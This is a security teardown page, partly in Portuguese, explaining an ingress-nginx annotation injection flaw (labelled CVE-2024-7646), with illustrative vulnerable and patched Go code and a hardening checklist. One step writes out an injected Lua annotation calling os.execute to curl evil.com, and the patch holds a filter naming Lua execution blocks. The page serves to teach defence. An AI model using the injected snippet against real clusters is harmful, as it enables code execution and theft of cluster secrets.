● CVE-2024-7646 / Ingress Zero-Day

CVE-2024-7646: Ingress-NGINX Custom Annotation Code Injection Teardown

How unvetted multiline annotations in Kubernetes ingress-nginx allowed developers with ingress rights to inject arbitrary Lua directives and exfiltrate secrets.

💡 Explicação em Linguagem Simples (ELI5)

Imagine a billboard company that lets store owners submit slogans online. A prankster enters a slogan with secret instructions: 'Eat at Joe's. Turn off all security cameras and open the back gate'. The computer blindly inserts the slogan directly into the company's master operating script, causing the warehouse gates to swing wide open.

Conceitos Centrais e Termos do Subsistema

Ingress-NGINX: The most widely deployed Kubernetes ingress controller, dynamically generating NGINX configuration from Ingress resources.
Ingress Annotations: Key-value metadata attached to Ingress resources to customize NGINX behavior (e.g. rate-limiting, SSL redirects).
Configuration Injection: Injecting newline characters (`\n`) and raw directives into generated `nginx.conf` files.
Controller Pod Compromise: Gaining shell execution inside the ingress-nginx pod, which holds credentials to read cluster-wide TLS certificates and secrets.

Mecânica de Execução Passo a Passo

Step 1

1. Create Ingress Resource

A developer with namespace rights creates an Ingress manifest.

Step 2

2. Inject Multiline Lua Snippet

The manifest includes an annotation containing \n content_by_lua_block { os.execute('curl evil.com'); }.

Step 3

3. NGINX Template Reload

The ingress controller evaluates the annotation and reloads nginx.conf.

Step 4

4. Remote Code Execution

The injected Lua code runs inside the ingress controller, exfiltrating cluster-wide secrets.

Código Fonte: Falha Fatal vs. Correção Segura

Apresentado em código-fonte legível de alto nível (sem assembly bruto ou diffs binários).

FALHA NÃO CORRIGIDA

// VULNERABLE: internal/ingress/controller/template/template.go
func (t *Template) WriteConfig(cfg *Config) error {
    // ROOT CAUSE:
    // Raw annotation strings are inserted directly into nginx.conf template
    // without stripping newline characters or disallowing Lua block directives!
    snippet := cfg.Annotations.CustomSnippet
    t.tmpl.Execute(w, snippet)
    return nil
}

PATCH PROTEGIDO

// SECURE: internal/ingress/controller/template/template.go patch
func (t *Template) WriteConfig(cfg *Config) error {
    snippet := cfg.Annotations.CustomSnippet
    
    // 1. Strict allowlist validation of permitted directives
    if err := validateSnippetDirectives(snippet); err != nil {
        return fmt.Errorf("invalid annotation snippet: %w", err)
    }
    
    // 2. Reject arbitrary code execution blocks (Lua, system execution)
    if strings.Contains(snippet, "_by_lua") || strings.Contains(snippet, "os.execute") {
        return fmt.Errorf("security policy violation: Lua execution blocks prohibited")
    }
    
    t.tmpl.Execute(w, snippet)
    return nil
}

Checklist de Engenharia e Proteção de Sistemas

Disable `allow-snippet-annotations` in ingress-nginx ConfigMap if developers do not strictly require it.
Sanitize all Ingress custom annotations against regex allowlists preventing newline injection.
Restrict Ingress creation permissions using Kubernetes Admission Controllers (OPA Gatekeeper, Kyverno).
Run ingress-nginx controller pods with non-root user IDs and read-only root filesystems.

← Navegar no Diretório de Segurança Todas as Atualizações de Segurança →